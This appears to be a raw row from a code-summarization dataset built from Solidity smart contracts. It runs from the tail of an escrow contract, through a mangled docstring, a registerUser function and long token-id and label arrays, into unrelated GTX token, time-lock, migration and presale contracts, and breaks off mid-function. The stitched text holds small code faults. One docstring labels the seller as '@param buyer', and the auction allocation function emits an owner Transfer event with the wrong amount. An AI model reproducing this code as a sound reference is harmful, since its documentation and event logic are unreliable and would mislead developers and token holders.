used by supervisor to revert a suspended * transaction and send the fund back to buyer *@param buyer the data buyer *@param buyer the data seller *@param scriptHash script hash of the transaction */ function revertTransaction( address payable buyer, address seller, bytes32 scriptHash ) onlyOwner transactionExists(scriptHash) external { Transaction storage t = transactions[scriptHash]; require( t.buyer == buyer && t.seller == seller, "Buyer or seller does not match with transaction" ); require( t.status == Status.SUSPENDED, "Cannot revert not suspended transaction" ); t.status = Status.REVERTED; _transferFunds(scriptHash, buyer, t.value); } /** * @dev Private function to add new transaction in the contract * @param buyer The buyer of the transaction * @param seller The seller of the listing associated with the transaction * @param moderator Moderator for this transaction * favour by signing transaction unilaterally * @param timeoutHours Timelock to lock fund * @param value Total value transferred */ function _addTransaction( address buyer, address seller, address moderator, uint32 timeoutHours, uint256 value ) nonZeroAddress(buyer) nonZeroAddress(seller) private returns (bytes32) { require(buyer != seller, "Buyer and seller are same"); //value passed should be greater than 0 //require(value > 0, "Value passed is 0"); bytes32 scriptHash = _calculateScriptHash( buyer, seller, moderator, timeoutHours, value, uniqueTxid ); require(transactions[scriptHash].value == 0, "Transaction exist"); transactions[scriptHash] = Transaction({ buyer: buyer, seller: seller, moderator: moderator, value: value, status: Status.FUNDED, lastModified: block.timestamp, timeoutHours: timeoutHours, txHash: bytes32(0) }); transactions[scriptHash].isOwner[seller] = true; transactions[scriptHash].isOwner[buyer] = true; //check if buyer or seller are not passed as moderator require( !transactions[scriptHash].isOwner[moderator], "Either buyer or seller is passed as moderator" ); transactions[scriptHash].isOwner[moderator] = true; userAccounts[buyer].transactions.push(scriptHash); userAccounts[seller].transactions.push(scriptHash); uniqueTxid++; return scriptHash; } /** *@dev This method will be used to release funds associated with * the transaction *@param sigV array containing V component of all the signatures *@param sigR array containing R component of all the signatures *@param sigS array containing S component of all the signatures *@param scriptHash script hash of the transaction *@param destination address who will receive funds *@param amounts amount released to destination */ function execute( uint8[] memory sigV, bytes32[] memory sigR, bytes32[] memory sigS, bytes32 scriptHash, address payable destination, uint256 amount ) transactionExists(scriptHash) inFulfilledState(scriptHash) nonZeroAddress(destination) // temporary workaround to solve // TypeError: Data location must be "calldata" for parameter in external function, but "memory" was given. public { require(transactions[scriptHash].value == amount); _verifyTransaction( sigV, sigR, sigS, scriptHash, destination, amount ); transactions[scriptHash].status = Status.RELEASED; transactions[scriptHash].lastModified = block.timestamp; if (amount > 0) { require( _transferFunds(scriptHash, destination, amount) == transactions[scriptHash].value, "Total value to be released must be equal to the transaction value" ); } emit Executed(scriptHash, destination, amount); } /** *@dev Internal method used to verify transaction */ function _verifyTransaction( uint8[] memory sigV, bytes32[] memory sigR, bytes32[] memory sigS, bytes32 scriptHash, address destination, uint256 amount ) private { require( transactions[scriptHash].voted[transactions[scriptHash].seller], "Seller did not sign" ); // timeLock is used for locking fund from seller bool timeLockExpired = _isTimeLockExpired( transactions[scriptHash].timeoutHours, transactions[scriptHash].lastModified ); if (timeLockExpired) { return; } _verifySignatures( sigV, sigR, sigS, scriptHash, destination, amount ); } /** *@dev Internal method used to verify signatures */ function _verifySignatures( uint8[] memory sigV, bytes32[] memory sigR, bytes32[] memory sigS, bytes32 scriptHash, address destination, uint256 amount ) private { // Follows ERC191 signature scheme: https://github.com/ethereum/EIPs/issues/191 bytes32 txHash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256( abi.encodePacked( byte(0x19), byte(0), address(this), scriptHash, destination, amount ) ) ) ); for (uint i = 0; i < sigR.length; i++) { address recovered = ecrecover( txHash, sigV[i], sigR[i], sigS[i] ); require( transactions[scriptHash].isOwner[recovered], "Invalid signature" ); require( !transactions[scriptHash].voted[recovered], "Same signature sent twice" ); transactions[scriptHash].voted[recovered] = true; } } /** *@dev Internal method used to determine is transaction * time lock expired */ function _isTimeLockExpired( uint32 timeoutHours, uint256 lastModified ) private view returns (bool) { uint256 timeSince = now.sub(lastModified); return ( timeoutHours == 0 ? false : timeSince > uint256(timeoutHours).mul(3600) ); } function _transferFunds( bytes32 scriptHash, address payable destination, uint256 amount ) private nonZeroAddress(destination) returns (uint256) { Transaction storage t = transactions[scriptHash]; uint256 valueTransferred = 0; require( t.isOwner[destination], "Destination address is not one of the owners" ); require( amount > 0, "Amount to be sent should be greater than 0" ); valueTransferred = valueTransferred.add(amount); destination.transfer(amount); return valueTransferred; } function _calculateScriptHash( address buyer, address seller, address moderator, uint32 timeoutHours, uint256 value, uint256 uniqueId ) private pure returns (bytes32) { return keccak256( abi.encodePacked( buyer, seller, moderator, timeoutHours, value, uniqueId ) ); } }
*@dev This method is used to register userin order to use data marketplace service@param user User account address@param uuid The uuid of user on TangleID/
function registerUser(address user, string calldata uuid) onlyOwner nonZeroAddress(user) notRegistered(user) external { string memory _uuid = uuid; require(bytes(_uuid).length == 26, "Uuid length does not match"); userAccounts[user].uuid = uuid; }
2,549,193
[ 1, 2503, 707, 353, 1399, 358, 1744, 729, 267, 1353, 358, 999, 501, 29917, 1156, 729, 2177, 2236, 1758, 3822, 1021, 3822, 434, 729, 603, 399, 4341, 734, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1744, 1299, 12, 2867, 729, 16, 533, 745, 892, 3822, 13, 7010, 3639, 1338, 5541, 7010, 3639, 1661, 7170, 1887, 12, 1355, 13, 203, 3639, 486, 10868, 12, 1355, 13, 203, 3639, 3903, 7010, 565, 288, 203, 3639, 533, 3778, 389, 7080, 273, 3822, 31, 203, 3639, 2583, 12, 3890, 24899, 7080, 2934, 2469, 422, 10659, 16, 315, 5897, 769, 1552, 486, 845, 8863, 203, 203, 3639, 729, 13971, 63, 1355, 8009, 7080, 273, 3822, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20Interface { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender)public view returns (uint256); function transferFrom(address from, address to, uint256 value)public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20Interface { using SafeMath for uint256; mapping(address => uint256) public balances; mapping (address => mapping (address => uint256)) internal allowed; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply_; // the following variables need to be here for scoping to properly freeze normal transfers after migration has started // migrationStart flag bool public migrationStart; // var for storing the the TimeLock contract deployment address (for vesting GTX allocations) TimeLock timeLockContract; /** * @dev Modifier for allowing only TimeLock transactions to occur after the migration period has started */ modifier migrateStarted { if(migrationStart == true){ require(msg.sender == address(timeLockContract)); } _; } constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public migrateStarted returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public migrateStarted returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GTXERC20Migrate is Ownable { using SafeMath for uint256; // Address map used to store the per account claimable GTX Network Tokens // as per the user's GTX ERC20 on the Ethereum Network mapping (address => uint256) public migratableGTX; GTXToken public ERC20; constructor(GTXToken _ERC20) public { ERC20 = _ERC20; } // Note: _totalMigratableGTX is a running total of GTX, migratable in this contract, // but does not represent the actual amount of GTX migrated to the Gallactic network event GTXRecordUpdate( address indexed _recordAddress, uint256 _totalMigratableGTX ); /** * @dev Used to calculate and store the amount of GTX ERC20 token balances to be migrated to the Gallactic network * i.e., 1 GTX = 10**18 base units * @param _balanceToMigrate - the requested balance to reserve for migration (in most cases this should be the account's total balance) * primarily included as a parameter for simple validation on the Gallactic side of the migration */ function initiateGTXMigration(uint256 _balanceToMigrate) public { uint256 migratable = ERC20.migrateTransfer(msg.sender,_balanceToMigrate); migratableGTX[msg.sender] = migratableGTX[msg.sender].add(migratable); emit GTXRecordUpdate(msg.sender, migratableGTX[msg.sender]); } } contract TimeLock { //GTXERC20 var definition GTXToken public ERC20; // custom data structure to hold locked funds and time struct accountData { uint256 balance; uint256 releaseTime; } event Lock(address indexed _tokenLockAccount, uint256 _lockBalance, uint256 _releaseTime); event UnLock(address indexed _tokenUnLockAccount, uint256 _unLockBalance, uint256 _unLockTime); // only one locked account per address mapping (address => accountData) public accounts; /** * @dev Constructor in which we pass the ERC20 Contract address for reference and method calls */ constructor(GTXToken _ERC20) public { ERC20 = _ERC20; } function timeLockTokens(uint256 _lockTimeS) public { uint256 lockAmount = ERC20.allowance(msg.sender, this); // get this time lock contract's approved amount of tokens require(lockAmount != 0); // check that this time lock contract has been approved to lock an amount of tokens on the msg.sender's behalf if (accounts[msg.sender].balance > 0) { // if locked balance already exists, add new amount to the old balance and retain the same release time accounts[msg.sender].balance = SafeMath.add(accounts[msg.sender].balance, lockAmount); } else { // else populate the balance and set the release time for the newly locked balance accounts[msg.sender].balance = lockAmount; accounts[msg.sender].releaseTime = SafeMath.add(block.timestamp , _lockTimeS); } emit Lock(msg.sender, lockAmount, accounts[msg.sender].releaseTime); ERC20.transferFrom(msg.sender, this, lockAmount); } function tokenRelease() public { // check if user has funds due for pay out because lock time is over require (accounts[msg.sender].balance != 0 && accounts[msg.sender].releaseTime <= block.timestamp); uint256 transferUnlockedBalance = accounts[msg.sender].balance; accounts[msg.sender].balance = 0; accounts[msg.sender].releaseTime = 0; emit UnLock(msg.sender, transferUnlockedBalance, block.timestamp); ERC20.transfer(msg.sender, transferUnlockedBalance); } // some helper functions for demo purposes (not required) function getLockedFunds(address _account) view public returns (uint _lockedBalance) { return accounts[_account].balance; } function getReleaseTime(address _account) view public returns (uint _releaseTime) { return accounts[_account].releaseTime; } } contract GTXToken is StandardToken, Ownable{ using SafeMath for uint256; event SetMigrationAddress(address GTXERC20MigrateAddress); event SetAuctionAddress(address GTXAuctionContractAddress); event SetTimeLockAddress(address _timeLockAddress); event Migrated(address indexed account, uint256 amount); event MigrationStarted(); //global variables GTXRecord public gtxRecord; GTXPresale public gtxPresale; uint256 public totalAllocation; // var for storing the the GTXRC20Migrate contract deployment address (for migration to the GALLACTIC network) TimeLock timeLockContract; GTXERC20Migrate gtxMigrationContract; GTXAuction gtxAuctionContract; /** * @dev Modifier for only GTX migration contract address */ modifier onlyMigrate { require(msg.sender == address(gtxMigrationContract)); _; } /** * @dev Modifier for only gallactic Auction contract address */ modifier onlyAuction { require(msg.sender == address(gtxAuctionContract)); _; } /** * @dev Constructor to pass the GTX ERC20 arguments * @param _totalSupply the total token supply (Initial Proposal is 1,000,000,000) * @param _gtxRecord the GTXRecord contract address to use for records keeping * @param _gtxPresale the GTXPresale contract address to use for records keeping * @param _name ERC20 Token Name (Gallactic Token) * @param _symbol ERC20 Token Symbol (GTX) * @param _decimals ERC20 Token Decimal precision value (18) */ constructor(uint256 _totalSupply, GTXRecord _gtxRecord, GTXPresale _gtxPresale, string _name, string _symbol, uint8 _decimals) StandardToken(_name,_symbol,_decimals) public { require(_gtxRecord != address(0), "Must provide a Record address"); require(_gtxPresale != address(0), "Must provide a PreSale address"); require(_gtxPresale.getStage() > 0, "Presale must have already set its allocation"); require(_gtxRecord.maxRecords().add(_gtxPresale.totalPresaleTokens()) <= _totalSupply, "Records & PreSale allocation exceeds the proposed total supply"); totalSupply_ = _totalSupply; // unallocated until passAuctionAllocation is called gtxRecord = _gtxRecord; gtxPresale = _gtxPresale; } /** * @dev Fallback reverts any ETH payment */ function () public payable { revert (); } /** * @dev Safety function for reclaiming ERC20 tokens * @param _token address of the ERC20 contract */ function recoverLost(ERC20Interface _token) public onlyOwner { _token.transfer(owner(), _token.balanceOf(this)); } /** * @dev Function to set the migration contract address * @return True if the operation was successful. */ function setMigrationAddress(GTXERC20Migrate _gtxMigrateContract) public onlyOwner returns (bool) { require(_gtxMigrateContract != address(0), "Must provide a Migration address"); // check that this GTX ERC20 deployment is the migration contract's attached ERC20 token require(_gtxMigrateContract.ERC20() == address(this), "Migration contract does not have this token assigned"); gtxMigrationContract = _gtxMigrateContract; emit SetMigrationAddress(_gtxMigrateContract); return true; } /** * @dev Function to set the Auction contract address * @return True if the operation was successful. */ function setAuctionAddress(GTXAuction _gtxAuctionContract) public onlyOwner returns (bool) { require(_gtxAuctionContract != address(0), "Must provide an Auction address"); // check that this GTX ERC20 deployment is the Auction contract's attached ERC20 token require(_gtxAuctionContract.ERC20() == address(this), "Auction contract does not have this token assigned"); gtxAuctionContract = _gtxAuctionContract; emit SetAuctionAddress(_gtxAuctionContract); return true; } /** * @dev Function to set the TimeLock contract address * @return True if the operation was successful. */ function setTimeLockAddress(TimeLock _timeLockContract) public onlyOwner returns (bool) { require(_timeLockContract != address(0), "Must provide a TimeLock address"); // check that this GTX ERC20 deployment is the TimeLock contract's attached ERC20 token require(_timeLockContract.ERC20() == address(this), "TimeLock contract does not have this token assigned"); timeLockContract = _timeLockContract; emit SetTimeLockAddress(_timeLockContract); return true; } /** * @dev Function to start the migration period * @return True if the operation was successful. */ function startMigration() onlyOwner public returns (bool) { require(migrationStart == false, "startMigration has already been run"); // check that the GTX migration contract address is set require(gtxMigrationContract != address(0), "Migration contract address must be set"); // check that the GTX Auction contract address is set require(gtxAuctionContract != address(0), "Auction contract address must be set"); // check that the TimeLock contract address is set require(timeLockContract != address(0), "TimeLock contract address must be set"); migrationStart = true; emit MigrationStarted(); return true; } /** * @dev Function to pass the Auction Allocation to the Auction Contract Address * @dev modifier onlyAuction Permissioned only to the Gallactic Auction Contract Owner * @param _auctionAllocation The GTX Auction Allocation Amount (Initial Proposal 400,000,000 tokens) */ function passAuctionAllocation(uint256 _auctionAllocation) public onlyAuction { //check GTX Record creation has stopped. require(gtxRecord.lockRecords() == true, "GTXRecord contract lock state should be true"); uint256 gtxRecordTotal = gtxRecord.totalClaimableGTX(); uint256 gtxPresaleTotal = gtxPresale.totalPresaleTokens(); totalAllocation = _auctionAllocation.add(gtxRecordTotal).add(gtxPresaleTotal); require(totalAllocation <= totalSupply_, "totalAllocation must be less than totalSupply"); balances[gtxAuctionContract] = totalAllocation; emit Transfer(address(0), gtxAuctionContract, totalAllocation); uint256 remainingTokens = totalSupply_.sub(totalAllocation); balances[owner()] = remainingTokens; emit Transfer(address(0), owner(), totalAllocation); } /** * @dev Function to modify the GTX ERC-20 balance in compliance with migration to GTX network tokens on the GALLACTIC Network * - called by the GTX-ERC20-MIGRATE GTXERC20Migrate.sol Migration Contract to record the amount of tokens to be migrated * @dev modifier onlyMigrate - Permissioned only to the deployed GTXERC20Migrate.sol Migration Contract * @param _account The Ethereum account which holds some GTX ERC20 balance to be migrated to Gallactic * @param _amount The amount of GTX ERC20 to be migrated */ function migrateTransfer(address _account, uint256 _amount) onlyMigrate public returns (uint256) { require(migrationStart == true); uint256 userBalance = balanceOf(_account); require(userBalance >= _amount); emit Migrated(_account, _amount); balances[_account] = balances[_account].sub(_amount); return _amount; } /** * @dev Function to get the GTX Record contract address */ function getGTXRecord() public view returns (address) { return address(gtxRecord); } /** * @dev Function to get the total auction allocation */ function getAuctionAllocation() public view returns (uint256){ require(totalAllocation != 0, "Auction allocation has not been set yet"); return totalAllocation; } } contract GTXRecord is Ownable { using SafeMath for uint256; // conversionRate is the multiplier to calculate the number of GTX claimable per FIN Point converted // e.g., 100 = 1:1 conversion ratio uint256 public conversionRate; // a flag for locking record changes, lockRecords is only settable by the owner bool public lockRecords; // Maximum amount of recorded GTX able to be stored on this contract uint256 public maxRecords; // Total number of claimable GTX converted from FIN Points uint256 public totalClaimableGTX; // an address map used to store the per account claimable GTX // as a result of converted FIN Points mapping (address => uint256) public claimableGTX; event GTXRecordCreate( address indexed _recordAddress, uint256 _finPointAmount, uint256 _gtxAmount ); event GTXRecordUpdate( address indexed _recordAddress, uint256 _finPointAmount, uint256 _gtxAmount ); event GTXRecordMove( address indexed _oldAddress, address indexed _newAddress, uint256 _gtxAmount ); event LockRecords(); /** * Throws if conversionRate is not set or if the lockRecords flag has been set to true */ modifier canRecord() { require(conversionRate > 0); require(!lockRecords); _; } /** * @dev GTXRecord constructor * @param _maxRecords is the maximum numer of GTX records this contract can store (used for sanity checks on GTX ERC20 totalsupply) */ constructor (uint256 _maxRecords) public { maxRecords = _maxRecords; } /** * @dev sets the GTX Conversion rate * @param _conversionRate is the rate applied during FIN Point to GTX conversion */ function setConversionRate(uint256 _conversionRate) external onlyOwner{ require(_conversionRate <= 1000); // maximum 10x conversion rate require(_conversionRate > 0); // minimum .01x conversion rate conversionRate = _conversionRate; } /** * @dev Function to lock record changes on this contracts * @return True if the operation was successful. */ function lock() public onlyOwner returns (bool) { lockRecords = true; emit LockRecords(); return true; } /** * @dev Used to calculate and store the amount of claimable GTX for those exsisting FIN point holders * who opt to convert FIN points for GTX * @param _recordAddress - the registered address where GTX can be claimed from * @param _finPointAmount - the amount of FINs to be converted for GTX, this param should always be entered as base units * i.e., 1 FIN = 10**18 base units * @param _applyConversionRate - flag to apply conversion rate or not, any Finterra Technologies company GTX conversion allocations * are strictly covnerted at one to one and do not recive the conversion bonus applied to FIN point user balances */ function recordCreate(address _recordAddress, uint256 _finPointAmount, bool _applyConversionRate) public onlyOwner canRecord { require(_finPointAmount >= 100000, "cannot be less than 100000 FIN (in WEI)"); // minimum allowed FIN 0.000000000001 (in base units) to avoid large rounding errors uint256 afterConversionGTX; if(_applyConversionRate == true) { afterConversionGTX = _finPointAmount.mul(conversionRate).div(100); } else { afterConversionGTX = _finPointAmount; } claimableGTX[_recordAddress] = claimableGTX[_recordAddress].add(afterConversionGTX); totalClaimableGTX = totalClaimableGTX.add(afterConversionGTX); require(totalClaimableGTX <= maxRecords, "total token record (contverted GTX) cannot exceed GTXRecord token limit"); emit GTXRecordCreate(_recordAddress, _finPointAmount, claimableGTX[_recordAddress]); } /** * @dev Used to calculate and update the amount of claimable GTX for those exsisting FIN point holders * who opt to convert FIN points for GTX * @param _recordAddress - the registered address where GTX can be claimed from * @param _finPointAmount - the amount of FINs to be converted for GTX, this param should always be entered as base units * i.e., 1 FIN = 10**18 base units * @param _applyConversionRate - flag to apply conversion rate or do one for one conversion, any Finterra Technologies company FIN point allocations * are strictly converted at one to one and do not recive the cnversion bonus applied to FIN point user balances */ function recordUpdate(address _recordAddress, uint256 _finPointAmount, bool _applyConversionRate) public onlyOwner canRecord { require(_finPointAmount >= 100000, "cannot be less than 100000 FIN (in WEI)"); // minimum allowed FIN 0.000000000001 (in base units) to avoid large rounding errors uint256 afterConversionGTX; totalClaimableGTX = totalClaimableGTX.sub(claimableGTX[_recordAddress]); if(_applyConversionRate == true) { afterConversionGTX = _finPointAmount.mul(conversionRate).div(100); } else { afterConversionGTX = _finPointAmount; } claimableGTX[_recordAddress] = afterConversionGTX; totalClaimableGTX = totalClaimableGTX.add(claimableGTX[_recordAddress]); require(totalClaimableGTX <= maxRecords, "total token record (contverted GTX) cannot exceed GTXRecord token limit"); emit GTXRecordUpdate(_recordAddress, _finPointAmount, claimableGTX[_recordAddress]); } /** * @dev Used to move GTX records from one address to another, primarily in case a user has lost access to their originally registered account * @param _oldAddress - the original registered address * @param _newAddress - the new registerd address */ function recordMove(address _oldAddress, address _newAddress) public onlyOwner canRecord { require(claimableGTX[_oldAddress] != 0, "cannot move a zero record"); require(claimableGTX[_newAddress] == 0, "destination must not already have a claimable record"); claimableGTX[_newAddress] = claimableGTX[_oldAddress]; claimableGTX[_oldAddress] = 0; emit GTXRecordMove(_oldAddress, _newAddress, claimableGTX[_newAddress]); } } contract GTXPresale is Ownable { using SafeMath for uint256; // a flag for locking record changes, lockRecords is only settable by the owner bool public lockRecords; // Total GTX allocated for presale uint256 public totalPresaleTokens; // Total Claimable GTX which is the Amount of GTX sold during presale uint256 public totalClaimableGTX; // an address map used to store the per account claimable GTX and their bonus mapping (address => uint256) public presaleGTX; mapping (address => uint256) public bonusGTX; mapping (address => uint256) public claimableGTX; // Bonus Arrays for presale amount based Bonus calculation uint256[11] public bonusPercent; // 11 possible bonus percentages (with values 0 - 100 each) uint256[11] public bonusThreshold; // 11 thresholds values to calculate bonus based on the presale tokens (in cents). // Enums for Stages Stages public stage; /* * Enums */ enum Stages { PresaleDeployed, Presale, ClaimingStarted } /* * Modifiers */ modifier atStage(Stages _stage) { require(stage == _stage, "function not allowed at current stage"); _; } event Setup( uint256 _maxPresaleTokens, uint256[] _bonusThreshold, uint256[] _bonusPercent ); event GTXRecordCreate( address indexed _recordAddress, uint256 _gtxTokens ); event GTXRecordUpdate( address indexed _recordAddress, uint256 _gtxTokens ); event GTXRecordMove( address indexed _oldAddress, address indexed _newAddress, uint256 _gtxTokens ); event LockRecords(); constructor() public{ stage = Stages.PresaleDeployed; } /** * @dev Function to lock record changes on this contract * @return True if the operation was successful. */ function lock() public onlyOwner returns (bool) { lockRecords = true; stage = Stages.ClaimingStarted; emit LockRecords(); return true; } /** * @dev setup function sets up the bonus percent and bonus thresholds for MD module tokens * @param _maxPresaleTokens is the maximum tokens allocated for presale * @param _bonusThreshold is an array of thresholds of GTX Tokens in dollars to calculate bonus% * @param _bonusPercent is an array of bonus% from 0-100 */ function setup(uint256 _maxPresaleTokens, uint256[] _bonusThreshold, uint256[] _bonusPercent) external onlyOwner atStage(Stages.PresaleDeployed) { require(_bonusPercent.length == _bonusThreshold.length, "Length of bonus percent array and bonus threshold should be equal"); totalPresaleTokens =_maxPresaleTokens; for(uint256 i=0; i< _bonusThreshold.length; i++) { bonusThreshold[i] = _bonusThreshold[i]; bonusPercent[i] = _bonusPercent[i]; } stage = Stages.Presale; //Once the inital parameters are set the Presale Record Creation can be started emit Setup(_maxPresaleTokens,_bonusThreshold,_bonusPercent); } /** * @dev Used to store the amount of Presale GTX tokens for those who purchased Tokens during the presale * @param _recordAddress - the registered address where GTX can be claimed from * @param _gtxTokens - the amount of presale GTX tokens, this param should always be entered as Boson (base units) * i.e., 1 GTX = 10**18 Boson */ function recordCreate(address _recordAddress, uint256 _gtxTokens) public onlyOwner atStage(Stages.Presale) { // minimum allowed GTX 0.000000000001 (in Boson) to avoid large rounding errors require(_gtxTokens >= 100000, "Minimum allowed GTX tokens is 100000 Bosons"); totalClaimableGTX = totalClaimableGTX.sub(claimableGTX[_recordAddress]); presaleGTX[_recordAddress] = presaleGTX[_recordAddress].add(_gtxTokens); 